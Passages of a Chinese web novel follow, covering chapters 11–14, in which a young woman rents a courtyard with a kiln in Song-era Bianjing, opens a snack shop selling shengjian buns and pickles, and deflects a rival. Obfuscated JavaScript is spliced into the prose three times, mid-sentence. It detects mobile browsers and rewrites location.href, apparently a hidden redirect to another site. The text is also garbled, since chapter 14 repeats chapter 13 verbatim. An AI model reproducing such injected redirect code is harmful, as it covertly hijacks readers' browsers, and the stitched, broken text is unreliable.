团娘正忙着打糍糕，赶忙擦净手，“娘子，咱去哪儿看？” “东榆林巷。”李怀珠挑眉一笑，“那儿有个带窑的院子。” “带窑的？”团娘眨巴眼，一脸不解，“那多碍事啊！垒灶台，堆放柴火都不便宜吧？” 李怀珠捏她脸颊，笑道：“可是窑不仅能烧瓷，还能烤别的东西啊。” “烤什么？”团娘更迷糊了。 李怀珠眉眼弯弯，卖关子：“……自然是新鲜玩意儿。” 团娘努力想象了一下，终究想象不出，只憨憨道：“娘子做的，定然都是好的！” 主仆二人便往马行街去。 巷口幡旗招展，人声渐闻，一转入街，喧嚣热浪便扑面而来。 这处街市虽不比马行街，可两旁店肆鳞次栉比，卖香药的、饮子的、时果的，吆喝声此起彼伏，正值晌午，木匠店前都是做手艺的汉子，那户人家就在街中段，黑漆木门缩在一家药材铺与一家银器店之间，门楣上还有昔日挂匾的痕迹。 叩门片刻，一个面带愁容的中年汉子开了门，身后跟着个絮絮叨叨的妇人。 仔细听来，二人正为这事不愉快。 “……早说了那窑留不得，你偏不听！如今好了，到手的租钱飞了，看你喝西北风去……”妇人埋怨着，“二哥儿今年就要开蒙，公婆年级又大了，看病、买药，到处都要用钱，你去挣吧！” 汉子梗着脖子：“祖上传下来的根脚，能租能卖，就是不能拆！” 见门外站着两个陌生女子，汉子收了声，“你们找谁？” 李怀珠福了一礼，“听闻贵府有处铺面欲出租，特来相看。” 那夫妇二人对视一眼，都有些意外。 妇人上下打量李怀珠，见她年纪虽轻，衣着素净，但气度从容，不似寻常小户女子，便缓了脸色，侧身引她们进去。 “娘子请看，就是这里了。” 一进门，外头的喧闹声忽然安静下来。 院子果然如那客人所说，坐北朝南一小间正房，青砖灰瓦，东厢两间略小些，可作卧房或库房，西边靠墙，立着一座陈旧的圆顶窑炉，一人多高，前头的店面不大，但胜在方正，门脸开阔，支摘窗，采光极好，且直通街面。 李怀珠里外看了一圈，心下已是满意。 这院子布局紧凑，居住、做工、售卖区域分明，那窑炉的位置也并不像想象中那么碍事，反而与西厢有段距离，留出了足够的空地，更难得的是，虽身处闹市，一墙之隔便能避开喧嚣，独得清净……这不就是人常说的，大隐隐于市？ “这铺子……娘子也瞧见了，”那汉子，姓冯，搓着手，有些赧然，“别的都好，就是这窑……祖上是靠它烧瓷起家的，虽然后来作坊迁去了别处，但这窑是根，是念想，实在不能拆。前头那位租客就是为此……” 他妻在一旁暗暗瞪他，嫌他话说得太死。 李怀珠闻言，向冯官人与冯娘子表明，只想问问能否使用。 这话一出，冯官人不由得一愣，心下猜测这娘子莫非是做瓷器营生的？但观其形貌气质，又似乎不太像。 李怀珠坦然告知，自己实是经营膳食行当的。 这下冯官人更加糊涂了——这烟熏火燎的瓷窑，如何能用来做吃食？ 但冯官人见这年轻娘子是认真的，不由与妻子对视一眼，都有些意外，又隐隐松了口气，他连忙解释，这只要不损坏窑炉，租客自然是可以使用的，他们家并无其他特别的忌讳，只是每年腊月里，需托她祭拜窑神，以尽后辈之心。 李怀珠自然应允。 事情因而谈得顺利，双方很快商定了租金，立下租契，约定三日后起租。 回到店宅务，李怀珠便开始着手准备搬迁事宜。 她本就不是家私繁重的，加之有团娘这个得力帮手，主仆二人不过忙碌了两日，便将一应物品收拾妥当，到了日子，雇来一辆驴车，载着全部家当搬进了小院。 街面人流不断，各色食肆灯火通明，映得新家门前一片光亮。 新家伊始，百事待兴。 刚来的那几天，清扫除尘，修补窗纸，添置必要的家具物什，没急着摆弄那些风雅物件，先挽起袖子彻底清扫。 院子里的杂草拔得干干净净，碎砖烂瓦归置到墙角。 东南角日光最好，土也肥润，便将一株瘦瘦长长的石榴树苗栽了下去。 “娘子，为什么种石榴呀？”团娘扶着树苗问。 “这树好活，花红果甜，寓意也好。”李怀珠画着饼，“等它长大了，夏天咱们在树下纳凉，秋天还能摘果子吃，岂不实惠？” 团娘一听还能吃果子，连连点头——长这么大，她还没吃过石榴呢。 接着收拾前店面，墙壁多年斑驳，直接裱糊素绢成本太高，也不耐油烟，便去杂货铺称了些白棉纸和糯米熬的浆糊，和团娘一起，仔仔细细将墙面裱糊一遍，挂了副淡墨山水，是从大相国寺外书画摊淘来的，虽非名家手笔，画的是远山淡影，一叶扁舟，意境倒有几分野趣。 柜台和货架请木匠修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888287|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缮，矮几是旧物市场淘换来的，腿脚有些摇晃，李怀珠寻了木楔子敲打固定，又用砂纸磨平了毛刺，椅子上面铺了几个自己做的麻色蒲团。 如此一番拾掇，小店虽无奢华之气，却胜在用心，显出几分朴实自然。 接着便是笔墨伺候，写招牌，想广告词。 李怀珠没多纠结，提起笔，在准备好的木牌上写下四个大字：李记食铺。 团娘在一旁看着，小声念出来，觉得这名字听着就亲切。 李怀珠端详着墨迹，心下也觉妥当。 这名字不花哨，眼下卖点心零嘴担得起，将来若真添了粥饭热菜，也照样撑得住门面。 至于广告词，也没弄那些虚的，只在招牌右下角添了一行小字：“应时点心，家常味道”。 如此，招牌便算成了，只待择个寻常日子，安静挂上便是。 最让李怀珠挂心的，还是那座窑。 正好这日天气晴好，她带着团娘，正式开始试窑。 先将窑内积年的浮灰仔细清扫干净，检查火道、烟囱是否通畅，取了柴薪，点燃，慢慢升温。 “娘子，这真能烤出好吃的点心？”团娘将信将疑。 “光说无用，试试便知。”李怀珠试了试窑炉的温度，拿出一篓生栗，“先烤个简单的。” 还记得从前跟着父母回老家过节，秋风一起，糖炒栗子的铁锅便在各处街角支起来了。 但那是店铺的买卖，自己家里，总喜欢用炭盆烤。 炭是红铜盆，底下垫了灰，捡十几颗围着盆沿摆一圈，火不能急，文文的，慢慢的，有人专门守在一旁，大多是等着吃的小萝卜头们，时不时用火钳拨一下。 不过李怀珠小时候更爱听栗子爆开的声响，有时一颗栗子突然炸得老高，孩子们便哄笑着去抢，那时候没有长幼区分，谁抢到就是谁的…… 李怀珠把板栗送入窑内，不一会儿，板栗外壳就泛起了油光，接着，不知是哪一颗先绽开，其他栗子便接二连三咧开嘴，是嫩黄的仁儿，取出来时，栗子烫手，忙不迭剥开一颗，壳儿“咔”应声而开。 李怀珠左手掂右手，递给团娘。 “唔！好吃！”团娘烫得直吹气，“比锅炒的香多了！” 李怀珠也吃了一个，味儿不错。 窑炉的好处就在温吞均匀的火候，密闭空间将热气留住，慢慢逼出栗子内里的甜，被炭火煨熟了的本味，而且试了这一回，才知道这窑炉虽然老旧，却很是牢靠，温度很足，保温性能很是不错。 食材无贵贱，技法无定规。 有了窑，寻常烧饼、芝麻酥饼自不在话下，那些层层起酥的“盘丝饼”、“蟹壳黄”也能一试，乃至挂炉烤鸭、窑焖饭，乃至后市令人称道的叫花鸡，老北京的京八件…… 李怀珠觉得自己捡了个大便宜——这哪是窑炉，这分明是点石成金的宝贝疙瘩！ 12. 第 12 章 理想很丰满，现实很骨感。 正准备大展身手的李怀珠，仅烤了一次栗子，第二天就被找上门来。 来的是两个穿着公服的小吏，态度倒不算恶劣，只是公事公办，询问她窑炉的情况。 才知，在汴京城里，但凡是涉及固定窑炉用火的营生，都需要在官府报备记录，纳入“潜火队”的重点观察范围，附近还需配备水井、沙堆之类的用具，像她这样不声不响就点火的，属于程序缺失。 这才恍然，古代城市管理也有其章法，尤其防火，汴京房屋密集，一旦失火后果不堪设想。 接下来的几天，她便奔波起来，填写状书，说明窑炉用途，去找里正作保，再去相关部门盖章……程序虽不比现代繁杂，但对一个初入此行的人来说，也足够让人头大。 还是一位在开封府做书吏的熟客悄悄提点她：“李娘子莫急，我听闻上头并非要为难你，只是你这用窑炉开食铺，算是头一遭，以往记录在册的不是烧瓷的就是铸铜的，潜火队和市易司的大人们得商量商量，这该归哪类，防火章程又该如何定，这才耽搁了。你且安心做生意，应当快了。” 听了这话，李怀珠送了两个青团道谢，索性将这事放一放，专心经营眼前。 食铺的招牌悄无声息挂了出去，没有鞭炮锣鼓，但熟客们口耳相传，都知道她有了门面，纷纷前来捧场。 店面里的品类也跟着增添，除了原本就受欢迎的荷叶馍、梅酒，青团子也根据时令增加了枣泥、山楂等新口味，还加了之前在大相国寺推出过的豌豆黄，吸引了一批之前没能去祈福吃斋的客人。 店里早食生意好，种类却不多，李怀珠托人打了几个厚底生铁鏊子，准备拓展新业务——生煎。 生煎，又叫“生煎馒头”，市井里活色生香的存在，不像小笼包精致秀气，反倒有几分江湖豪气，李怀珠大学时候的首选早餐。 忘了什么时候看的书，梁实秋先生写玉华台的汤包子，要把包子像被婴儿吮瘪了的□□一样，趁没有破赶快放进碟中，把其中的汤汁吸饮下肚。这般吃法，实在太过文雅。生煎包则不然——它是要用筷子架着吃的，顾不得烫，一口下去，焦脆的底子在齿间一咬，温热汤汁滋出来，慌得人连忙吮吸，对面的人连闪带躲，这种狼狈，恰是吃生煎的乐趣。 人有派别，生煎也是有的。 李怀珠前世在南方读大学，特色小食尝过许多，上海生煎一派是清水生煎，馅厚汁少，讲究个馅料紧实，肉香醇厚，一派是混水生煎，馅少汁溢，则必加皮冻，汤汁汹涌，往南一些，则有苏州生煎，相较之下口味偏甜，肉馅中糖和酱油的用量更多，汤汁也带明显的甜味。 李怀珠全然喜爱，但更偏爱其汤汁丰盈，生煎包的那一口热汤，虽不是红油，却同样叫人期待。 做生煎包，最见功夫的是煎制，平底大铁锅，淋上油，包子整齐列队，小伙慢煎，待底子微黄，便浇上面粉水，盖上锅盖，任其在里面蒸腾。 团娘很好奇，“娘子，这像是带馅馒头，可底子瞧着更焦脆，样子也更俊！” 李怀珠夹起一个，尝了，嗯，就是这个味儿。 团娘学着她的样子，一口下去，被滚热的汤汁烫得直呵气，却舍不得吐出来，赞道：“好鲜！好多汤！皮薄，底儿还脆，好吃！” 正巧有熟客来取预定的青团，见这新鲜物事，凑过来瞧稀奇，李怀珠请他尝了一个。 那食客吃得急，一口咬下，汤汁“滋”的喷出老远，险些溅到对面客人的衣袖上。 那人慌得连忙起身闪躲，却不恼反笑：“好家伙！这包子脾气不小，还会喷人！”惹得满堂哄笑。 食客自己也笑了，“对不住对不住！口急！这馒头一咬一包汤，底儿焦香，面皮松软，馅儿也鲜！李娘子，这又是什么新奇花样？何时开卖？” 既有人真心叫好，那还等什么？ 李怀珠琢磨起手头现有的食材来，试着调了五六种馅，准备试水。 荠菜鲜肉、猪肉笋丁、香菇鲜肉的，还特意做了几种纯素，像是青菜香菇馅和马兰头香干。 也没忘记答应泰安伯的事，铺子稳定下来，她便作了几样招牌点心，每样一份，又装了几盒生煎，附上一张谢帖，让团娘趁着晌午前送到了伯府，泰安伯府的管家拿着点心去了，不久回了一个锦盒，说是伯爷给的打赏。 团娘带着东西回来，打开一看，是一对招财进宝的摆件，憨态可掬，寓意吉祥。 李怀珠高高兴兴将这对金光摆件擦得锃亮，摆在了柜台，算是讨个好彩头。 当天晚上，李记食铺便推出了生煎包。 因着地段好、熟客多，加上这生煎包本身新奇美味、种类多样，刚一开卖就吸引了大量街坊和过往行人。 “给我来四个猪肉笋丁的！” “虾仁的还有没有？我家小郎君就爱吃虾子！” “这底儿煎得真脆，啧啧，香！” “……” 小小的铺面被挤得水泄不通，颇有供不应求的意思。 铺子里不时传来“哎呀”一声，接着便是笑声——准是又有人被生煎里的热汤偷袭成功了。 铺子最后一锅生煎滋滋作响，面皮雪白，底子焦黄，勾得路过的人忍不住要探个头。 李怀珠正低头给一位老主顾装盒，忽听得门口传来一道清越嗓音： “李娘子，生意兴隆啊。” 她抬头，只见谢慈与石子桓二人并肩立在门口。 谢慈依如孤松独立，石子桓笑得爽朗，手里还提着一包不知是何物的东西。 ——倒也是这些日子常有的情景。 自打铺子开起来，姓石的郎君便是常客，时不时还带三五友人来，他性子敞亮，玩笑也开得，一来二去，倒真有了几分熟客的随意，谢慈起初只是偶然同来，搭话也很有分寸，遇上这般正经的人，倒是让李怀珠颇为讪讪，生怕什么地方失了礼数。 “二位郎君，”李怀珠有些意外，旋即展颜，“熟客了，快请进。” 石子桓跨进来，将手中物事往柜台上一放，笑道：“听闻娘子铺子出了什么煎包子，紧赶慢赶，总算赶上了最后一锅。” 李怀珠玩笑道：“石郎君能来，小店自然蓬荜生辉，只是贺礼嘛……看着可不算厚重。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891349|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>石子桓被她一噎，也不恼，反而哈哈大笑，“娘子好利的嘴！这是我前日偶得的上好龙团胜雪，知道娘子非俗人，特拿来与你共品，这礼还不算有心？” 李怀珠抿唇一笑：“原来是好茶，那倒是我失言了，多谢石郎君。” 她说话时，眼波不经意间掠过一旁的谢慈。 只见他正微微垂首，唇角微扬，竟浅浅笑了。 这一笑，仿佛春冰乍融，雪岭初霁。 他本就生得极好，眉眼清隽，鼻梁细直，只是平日神色过于淡漠，如远山覆雪，叫人不敢亲近，此刻笑意虽浅，却瞬间柔化了那分冷峻，使得他整张脸都生动起来，细长的丹凤眼微挑，眸色温润，竟有几分细水流深的……清俊。 李怀珠心下腹诽，这人平日里端着不苟言笑的样子，原来笑起来这般好看，又想，果然是张脸能当饭吃，可惜性子闷了些，日后和娘子相处，怕是三棍子打不出个…… “李娘子，”谢慈忽然开口，打断了她腹诽思绪，“生意可还顺遂？” 两人目光在暖黄光影下碰触。 李怀珠全无被人抓包的窘迫，坦然然将视线偏开，落到那鏊子上，笑着应道：“国泰民安，大家也捧场，糊口不成问题。” 谢慈见她目光澄清，全无寻常女儿家的羞涩扭捏，反倒是自己，被清亮坦荡的目光一扫，莫名抬手摸了摸鼻尖，随即又觉此举有些突兀，转而理了理本就平整的衣襟。 这时，李怀珠已将两碟生煎端了上来。 “小心烫，汤汁足。”她叮嘱一句，便退到一旁，倚着柜台，看二人用餐。 石子桓夹起一个便咬，果然被汤汁烫得直抽气，却连连称赞：“鲜！香！妙极！” 谢慈则吃得斯文许多，竹筷轻轻夹起一只生煎，先小心地在皮上咬开一个小口，吹了吹，才吮吸其中汤汁。 果然人和人不能比，连吃个生煎都这般讲究，也不知这郎君是天生如此，还是时刻端着架子，不过看他举止，倒是赏心悦目。 似乎是察觉到她的注视，谢慈抬眸望来。 这一次，李怀珠没有移开目光，反而冲他扬了扬眉，似是在问“味道如何？”。 谢慈微微颔首，算是回应。 李怀珠心满意足转身，和团娘一起收拾灶台去了。 夜深人静，打烊算账。 钱匣子倒空，就着油灯，主仆二人清点钱目。 最后核对出来的数字，听得让人作舌，团娘却说可不是么，今日光是生煎包就卖出将近百个，每个定价五文，这便是半贯钱的营收，再加上荷叶馍、梅子酒，各色糕点，刨去食材、柴火、每日的租钱，这一日净赚四百余文！ 这月花项忒多，买婢女，租铺子，装修拾掇拢，共用去七八十贯钱，几乎是李怀珠的全部家底，可好在现在摇身一变成了食铺，花费多了，利润也水涨船高，一个月下来，除去本金，还能攒下不少钱。 攒上一年半载，或许真能在汴京城外置几亩薄田，买处小庄子，安安稳稳度日…… 思来想去，从城郊不起眼的庄子，想到金明池畔的红楼别邺，李怀珠恨恨想，还是有钱好啊！ 13. 第 13 章 俗话说“嚼得菜根，百事可做”，而李怀珠觉得，菜根至味，大半在坛瓮之间。 起因是李怀珠连着几日逛菜市，眼见时鲜一茬茬涌上市头，荠菜、莴苣、新蒜、胡瓜、嫩姜、雪里蕻，春天一来，菜鲜嫩又多样，价钱却比冬日里便宜许多，尤其是那些萝卜、菘菜，因品相稍次或产量太大，几乎被庄户成筐低价处理。 此时不做腌菜，更待何时？ 尚食局里，酱腌储菜是大事，多是皇室规制的酱醋腌臜，用料精贵，工序繁琐，如今出了宫门，要做的是能让寻常百姓觉得好吃，愿意花钱买来佐餐的开胃小菜。 新鲜菜蔬易腐，而盐能克之，这是千百年的生存智慧。 大周时里便有“醢人”一职，掌“五齐七菹”。东汉许慎又道，“菹者，酸菜也。——这便是咸菜酸菜的远祖了，到了北魏，做菹的法子便详详细细，有盐菹、汤菹，酿菹，坛坛罐罐，不只是为着果腹，里头已有了趣味和讲究。 到了后世，各类腌菜口味更不相同。 比如南方的腌苋菜，好之者谓其至味，恶之者掩鼻而过，再比如李怀珠喜爱的绍兴霉干菜，乌黑油亮的一把，与五花肉同蒸，肉的丰腴被它吸了去，变得醇厚不腻，菜的干韧得了油的润泽，软糯生香。 小时候的芥菜疙瘩，一层疙瘩一层粗盐，压上大青石，日子到了捞出来切丝，点几滴香油，能就着喝两碗烫嘴的棒子面粥；东北的酸菜更不必说，积菜的大缸，是多少人家的念想，热腾腾的酸菜白肉锅子，暖和又解腻，是冰天雪地里的恩物。 汴京百姓早餐多食粥、饼，她的生煎馒头虽好，但若能有清粥小菜搭配，选择更多。 且腌菹本微利厚，若能做出特色，又是一条财路。 当日，主仆二人便开始扫货。 白萝卜三十斤，胡瓜三十斤，心心念念着梅菜扣肉，芥菜要的最多，足有百十斤，又另挑了些嫩姜、新蒜和食茱萸，考虑到口味，还买了两筐雪里蕻和马兰头，打算试试南方腌法。 萝卜洗净切粗条，用盐杀去辛气，再加饴糖、米醋、茱萸粉，拌匀后封入小坛，主人家特意调整了糖醋比例，再把胡瓜对半切开，去瓤，晒至半蔫，投入用豉汁、饴糖和香料熬成的酱汁中浸泡，酱汁中加了少许橙皮，去除了豆的腥味儿，增添香气，更要密封仔细，不然有细菌进去便会发霉变质。 香咸芥丝用重盐揉搓出水，挤干后拌入茴香、小茴香和胡麻，淋上熟油封存，关键在于香料炒制的火候，香而不燥，后味可以回甘。 咸齑粗粝，没那么多讲究，李怀珠借鉴老法子，在坛口加了水封，确保发酵成醇香酸爽，另有一半腌制发酵，晒干脱水，等着做梅菜扣肉吃。 四样菹菜，口味各异，半月后启封试味。 萝卜菹酸甜脆爽；酱瓜入味，咸津津的，咬下去咔嚓作响；芥丝咸香扑鼻，咸齑酸香纯正。 “好吃！”团娘每样都喜爱，就着吃了两碗白粥，两碟生煎，嫩白的小脸也越发圆润，仍是意犹未尽，“娘子，这个萝卜菹我能空口吃半碗，咸齑配粥也好吃，酱瓜和芥菜配生煎馒头，绝配！” 李怀珠各自也尝了些。 她平日喜酸甜口，这回却觉得酱瓜最清爽，笑道，“没你觉得不好吃的！” 菹菜有了，李怀珠又推了几种寻常粥品，粟米、绿豆、小豆粥，和别的早食摊并没什么不同。 且凡买了生煎馒头和粥的顾客，李怀珠便让团娘去赠一小碟菹菜。 第一位幸运顾客老丈，得了一碟酱瓜。 他咬一口生煎，喝着粟米粥，再夹一筷子酱瓜，咀嚼几下，眼睛便眯了起来：“嗯！这瓜酱得好，咸里带甜，脆生生，配这油香的生煎和热粥，正合适！解腻！” 旁边一位带着幼子的妇人要了碗小豆粥，选了咸齑，说是配粥能提味。 娘子们却更多喜爱酸甜口的糖醋萝卜菹。 四样小菜，各有拥趸。 免费赠送的策略很快吸引了许多客人，人家原本只打算买生煎，见有菹菜送，便顺手带碗粥，一顿朝食吃得有干有稀，有荤有素。 不出几日，李记的粥菜便传开了，尤其是那几样别致的菹菜，打破了大宋人民对“咸菹”粗劣的刻板印象。 有人吃完还要问：“娘子，这菹菜可单卖？想带些回家。” 顾客的询问，李怀珠早有准备。 她前几日便去窑坊订了一批青灰陶罐，每罐约能装二斤左右，罐身素朴，只用红纸贴上品名，“李记糖醋萝卜菹”、“李记酱瓜”等，下方还有一行小字说明：“密封阴凉处，旬日后滋味更佳。” 当再有熟客询问时，李怀珠便笑着指向柜台一侧，那叠放的陶罐。 “承蒙各位喜爱，小店这几样菹菜也可整罐售卖。一罐二斤，定价八十文。买回家密封存放些时日，其味更醇。无论是佐粥，还是平日下饭，都便宜。” 八十文一罐菹菜，比起新鲜蔬菜自是贵了不少，但比起酒楼里的蜜煎、酱菜，却又显得实惠，李怀珠在门口摆了条案，将四种陶罐整齐陈列，旁边放着试吃的小碟。 有客人犹豫，便有伶牙俐齿的娘子过去介绍。 “贵有贵的道理。您尝尝，这是春天好菜好时节，慢工细作出来的。一罐能吃许久，算下来，每日不过添一两文钱，就能让餐饭有滋有味。” 客人一试，果然与记忆里难吃的腌菜天壤之别，加上李怀珠“宫中手艺”名声隐约流传，虽然心疼，但尝过那滋味后，咬牙买一罐回家佐餐、待客的，大有人在。尤其是那些讲究些的殷实人家和酒楼食馆的采买，更是成罐来买。 一罐菹菜成本约三十文，售价八十文，毛利五十文。 且制作一次可售卖多日，损耗低，又能带着一起卖粥，每日光是搭赠和零售的菹菜，利润算来着实可观。 团娘数钱数得眉开眼笑：“娘子，你这脑子是怎么长的？几样菹菜，竟也能赚这许多！” 瞧把小姑娘开心的，李怀珠笑道：“这叫做‘趁贱收贮，待缺供须’。春日菜贱，咱们便把它变成能存放的东西。大家吃个新鲜，咱们赚个巧钱。” 人红是非多，生意好了，难免引来打探。 这日，李怀珠正在洗大缸子的米豆，团娘匆匆进来：“娘子，前头来了两位生客，一直打听咱们菹菜做法，问得可细了。” 李怀珠心下了然，净了手，解下攀膊走到前店。 只见柜台前站着两位中年男子，见李怀珠出来，那位颇像钱老板的富态男子拱手笑道：“这位便是李掌柜？鄙姓胡，在城西也开着间食肆。尝了贵店的几样菹菜，风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896172|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味独特。不知掌柜的可否指点一二？” 胡掌柜面上笑呵呵，心中却在叫骂。 他城西的生意这月淡了不少，打听下来，竟是有好些老客被李记勾了来，今日过来，说是讨教，实则是来探底细——若她没什么根基，或是个软柿子，那“讨教”不成，总还有别的法子……这市井里的生意，可不全靠手艺。 李怀珠闻言，略看一眼二人，一个绿豆芝麻三角眼，一个尖嘴猴腮似螳螂，女人的第六感马上响动，嗯，来者不是善茬。 “胡掌柜谬赞了。不过是些家常手艺。说起来，这做菹的法子，还是当年偶得一位老尚食指点做的。宫中规矩大，许多方剂讲究‘传授有自’，具体香药配比、盐糖之数不敢妄传，恐失了原味，也辜负了老人家一片好意。” 她抬出“宫中规矩”堵人家的嘴。 那胡掌柜与同伴对视一眼，心底却暗啐一口，门小户的竟有这般来历？可若是真的，硬逼强索就得掂量掂量了。 但一计不成，还有另一计。 账房老赵打了个哈哈：“原来如此！是鄙人唐突了。李掌柜手艺精湛，自是得了真传。不知菹菜可否多供些货？鄙店也想进一些。” 李怀珠心中明镜似的，也跟着打太极：“承蒙胡掌柜看得起。只是小店刚起步，人手有限，眼下只够供应自家铺子，零星售卖，实在没有余力外供。” “况且胡掌柜若真有兴趣，不妨贵店也试试时令菜蔬？春日物产丰饶，只要肯花心思，总能做出来些滋味。” 嘿，这小娘子有两下子！ 胡掌柜看她一眼，三言两句，既婉拒供货，又给了自家台阶下，还顺带鼓励他自个儿研发——反正意思就是，核心配方她不会给，甭想。 见她如此，二人知道今日是讨不到便宜了，便也识趣不再多问，买了两罐菹菜，客气告辞。 一出店门，走到巷口拐角，胡掌柜脸上的笑便垮了下来。 “你怎么看？宫里秘方的话，有几分真？” 老赵道：“真假难说，但这女子话里套着话，防得严实，硬来恐怕不妥。” “那难道就干看着她抢生意？ “自然不是。” 老赵凑近些，“她这菹菜用料，无非是些萝卜、芥菜之类。咱们派人去她常拿货的菜农那儿，把这几样菜价抬高，先断她的便宜来路。若她成本涨了，要么提价客人不满，要么硬撑利润变薄。此其一。” “其二，咱们也回去试做。多试几次，未必不能摸到点边。就算味道不及，咱们卖便宜些，总有人贪那个实惠。日子还长，慢慢来。” 胡掌柜闻言脸色稍霁，点了点头：“就这么办。让她先得意几天。” 两人低声议论着，身影渐渐消失在巷子另一头。 送走这两人，团娘还没反应过什么滋味：“娘子，你真厉害！三言两语就把他们打发了。” 做生意，手艺要紧，周旋也要紧。 她们的东西好，别人自然会眼红，但也不能把路堵死，结仇不如结缘。 怎么说也是两辈子人了，李怀珠没团娘那么乐观：“今天他们空手而归，但咱们礼数到了，话也给了面子，将来或许还有打交道的时候，且等着吧。” 谁知一语成谶，几日后，这交道便又打上了。 14. 第 14 章 俗话说“嚼得菜根，百事可做”，而李怀珠觉得，菜根至味，大半在坛瓮之间。 起因是李怀珠连着几日逛菜市，眼见时鲜一茬茬涌上市头，荠菜、莴苣、新蒜、胡瓜、嫩姜、雪里蕻，春天一来，菜鲜嫩又多样，价钱却比冬日里便宜许多，尤其是那些萝卜、菘菜，因品相稍次或产量太大，几乎被庄户成筐低价处理。 此时不做腌菜，更待何时？ 尚食局里，酱腌储菜是大事，多是皇室规制的酱醋腌臜，用料精贵，工序繁琐，如今出了宫门，要做的是能让寻常百姓觉得好吃，愿意花钱买来佐餐的开胃小菜。 新鲜菜蔬易腐，而盐能克之，这是千百年的生存智慧。 大周时里便有“醢人”一职，掌“五齐七菹”。东汉许慎又道，“菹者，酸菜也。——这便是咸菜酸菜的远祖了，到了北魏，做菹的法子便详详细细，有盐菹、汤菹，酿菹，坛坛罐罐，不只是为着果腹，里头已有了趣味和讲究。 到了后世，各类腌菜口味更不相同。 比如南方的腌苋菜，好之者谓其至味，恶之者掩鼻而过，再比如李怀珠喜爱的绍兴霉干菜，乌黑油亮的一把，与五花肉同蒸，肉的丰腴被它吸了去，变得醇厚不腻，菜的干韧得了油的润泽，软糯生香。 小时候的芥菜疙瘩，一层疙瘩一层粗盐，压上大青石，日子到了捞出来切丝，点几滴香油，能就着喝两碗烫嘴的棒子面粥；东北的酸菜更不必说，积菜的大缸，是多少人家的念想，热腾腾的酸菜白肉锅子，暖和又解腻，是冰天雪地里的恩物。 汴京百姓早餐多食粥、饼，她的生煎馒头虽好，但若能有清粥小菜搭配，选择更多。 且腌菹本微利厚，若能做出特色，又是一条财路。 当日，主仆二人便开始扫货。 白萝卜三十斤，胡瓜三十斤，心心念念着梅菜扣肉，芥菜要的最多，足有百十斤，又另挑了些嫩姜、新蒜和食茱萸，考虑到口味，还买了两筐雪里蕻和马兰头，打算试试南方腌法。 萝卜洗净切粗条，用盐杀去辛气，再加饴糖、米醋、茱萸粉，拌匀后封入小坛，主人家特意调整了糖醋比例，再把胡瓜对半切开，去瓤，晒至半蔫，投入用豉汁、饴糖和香料熬成的酱汁中浸泡，酱汁中加了少许橙皮，去除了豆的腥味儿，增添香气，更要密封仔细，不然有细菌进去便会发霉变质。 香咸芥丝用重盐揉搓出水，挤干后拌入茴香、小茴香和胡麻，淋上熟油封存，关键在于香料炒制的火候，香而不燥，后味可以回甘。 咸齑粗粝，没那么多讲究，李怀珠借鉴老法子，在坛口加了水封，确保发酵成醇香酸爽，另有一半腌制发酵，晒干脱水，等着做梅菜扣肉吃。 四样菹菜，口味各异，半月后启封试味。 萝卜菹酸甜脆爽；酱瓜入味，咸津津的，咬下去咔嚓作响；芥丝咸香扑鼻，咸齑酸香纯正。 “好吃！”团娘每样都喜爱，就着吃了两碗白粥，两碟生煎，嫩白的小脸也越发圆润，仍是意犹未尽，“娘子，这个萝卜菹我能空口吃半碗，咸齑配粥也好吃，酱瓜和芥菜配生煎馒头，绝配！” 李怀珠各自也尝了些。 她平日喜酸甜口，这回却觉得酱瓜最清爽，笑道，“没你觉得不好吃的！” 菹菜有了，李怀珠又推了几种寻常粥品，粟米、绿豆、小豆粥，和别的早食摊并没什么不同。 且凡买了生煎馒头和粥的顾客，李怀珠便让团娘去赠一小碟菹菜。 第一位幸运顾客老丈，得了一碟酱瓜。 他咬一口生煎，喝着粟米粥，再夹一筷子酱瓜，咀嚼几下，眼睛便眯了起来：“嗯！这瓜酱得好，咸里带甜，脆生生，配这油香的生煎和热粥，正合适！解腻！” 旁边一位带着幼子的妇人要了碗小豆粥，选了咸齑，说是配粥能提味。 娘子们却更多喜爱酸甜口的糖醋萝卜菹。 四样小菜，各有拥趸。 免费赠送的策略很快吸引了许多客人，人家原本只打算买生煎，见有菹菜送，便顺手带碗粥，一顿朝食吃得有干有稀，有荤有素。 不出几日，李记的粥菜便传开了，尤其是那几样别致的菹菜，打破了大宋人民对“咸菹”粗劣的刻板印象。 有人吃完还要问：“娘子，这菹菜可单卖？想带些回家。” 顾客的询问，李怀珠早有准备。 